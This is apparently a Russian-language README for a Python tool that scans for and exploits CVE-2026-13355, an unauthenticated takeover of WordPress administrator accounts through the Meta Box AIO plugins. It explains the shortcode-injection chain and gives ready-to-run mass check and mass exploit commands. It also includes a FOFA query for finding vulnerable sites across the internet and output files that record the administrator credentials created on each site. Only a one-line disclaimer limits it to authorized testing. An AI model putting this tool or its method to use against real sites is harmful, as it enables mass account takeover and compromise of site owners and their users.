
Python PoC-сканер и эксплойт для CVE-2026-13355 — неаутентифицированное повышение привилегий до администратора в WordPress-плагинах Meta Box AIO, с массовым сканированием через FOFA.
Python 3 proof-of-concept сканер и эксплойт для CVE-2026-13355 в WordPress-сборке Meta Box AIO (и связанных расширениях MB Frontend Submission / MB User Profile).
| Платформа | WordPress plugin |
| Компонент | Meta Box AIO |
| Затронуто | Meta Box AIO ≤ 3.11.0; MB Frontend Submission ≤ 4.5.6; MB User Profile ≤ 3.11.0 |
| Исправлено в | Meta Box AIO 3.12.0+ (авторизация в Form::process()) |
| CVSS | 9.8 Critical |
| Аутентификация | Не требуется |
| CWE | CWE-269 — Improper Privilege Management |
| Исследователь | h0xilo (Wordfence) |
Цепочка уязвимостей в двух встроенных расширениях позволяет неаутентифицированно создавать учётную запись администратора:
mbfs) — rwmb_frontend_field_object_id переопределяет целевой объект формы без проверки прав; Form::process() не вызывает user_can_edit(), поэтому атакующий может выполнить wp_update_post() и перезаписать post_content произвольных записей/страниц.mbup) — внедрённые атрибуты шорткода [mb_user_profile_register role="administrator" auto_login="true"] принимаются без проверки роли.Важно: цепочка эксплойта требует публичной формы mbfs (frontend submission), а не только форм входа mbup. Многие результаты FOFA предоставляют лишь интерфейс входа/регистрации mbup — они помечаются как plugin_mbup_only и не эксплуатируются данной цепочкой.
pip install -r requirements.txtpip install -r requirements.txt
# Single target — check (live terminal flow by default)
python poc.py -u https://target.example --mode check
# Mass check (one line per target unless --quiet)
python poc.py --list targets.example.txt --mode check --threads 20
# Single target — exploit (needs mbfs form URL + post ID)
python poc.py -u https://target.example --mode exploit \
--form-url /contact/ --object-id 12 --verify
# Mass exploit from check output
python poc.py --list candidates.jsonl --mode exploit --threads 5 --verify
Пример запроса:
body="/wp-content/plugins/meta-box-aio/"
Нормализация экспорта FOFA в CSV:
python fofa_to_list.py -i fofa_export.csv
# writes list.txt + normalized CSV (local only, gitignored)
python poc.py --list list.txt --mode check --threads 20
Используйте --vuln-list exploited.txt при запусках exploit, чтобы попадания из hits.txt не перезаписывались.
status при проверкеpost_content через форму mbfs с ?rwmb_frontend_field_object_id=<id>.mbfs для контактов/рассылок часто не имеют реального поля post_content; перезапись на практике может не сработать..
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Локальные списки сканирования и артефакты запусков (list.txt, fofa*.csv, *.jsonl, hits*.txt, …) указаны в .gitignore и не должны коммититься.
Только для авторизованного тестирования безопасности и обучения. Вы несёте ответственность за соблюдение применимых законов и правил программ.
| Параметр | Описание |
|---|
-u, --url | Один базовый URL |
--list | Список URL, нормализованный FOFA CSV (колонка url) или candidates.jsonl |
--mode | check или exploit |
--form-url | Страница с [mb_frontend_form ...] / mbfs-form |
--object-id | ID записи/страницы для rwmb_frontend_field_object_id |
--paths | Дополнительные пути для обхода в поисках frontend-форм |
--username, --email, --password | Учётные данные для регистрации (exploit) |
--shortcode | Внедряемая полезная нагрузка post_content (по умолчанию шорткод регистрации администратора) |
--verify | Подтверждение через /wp-admin/ или wp-login.php после регистрации |
--flow | Потоковый вывод по одной строке на цель при массовых запусках (по умолчанию с --list) |
--no-flow | Только сводка о прогрессе |
--quiet, -q | Минимальный вывод в консоль |
--threads, -j | Параллелизм при массовых запусках (по умолчанию 15) |
--output | JSONL-лог (по умолчанию cve_2026_13355_results.jsonl) |
--vuln-list | Текстовые строки попаданий / эксплуатированных целей (по умолчанию hits.txt / используйте exploited.txt для exploit) |
--candidates-list | JSONL с метаданными проверки (по умолчанию candidates.jsonl) |
| Файл | Режим | Содержимое |
|---|
cve_2026_13355_results.jsonl | оба | Полный JSON по каждой цели |
hits.txt | check | URL с candidate_mbfs |
candidates.jsonl | check | form_url, object_id, подсказки о версии |
exploited.txt | exploit | url|user|email|pass|oid=… |
| Статус | Значение |
|---|
candidate_mbfs | Плагин присутствует + найдена форма MB Frontend Submission (эксплуатация возможна) |
plugin_mbup_only | Только формы входа/регистрации User Profile — не данная цепочка CVE |
plugin_no_frontend_forms | Отпечаток плагина есть, frontend-формы rwmb не обнаружены |
patched | Версия выше затронутого диапазона (если удаётся определить) |
no_plugin | Meta Box AIO / расширения не обнаружены |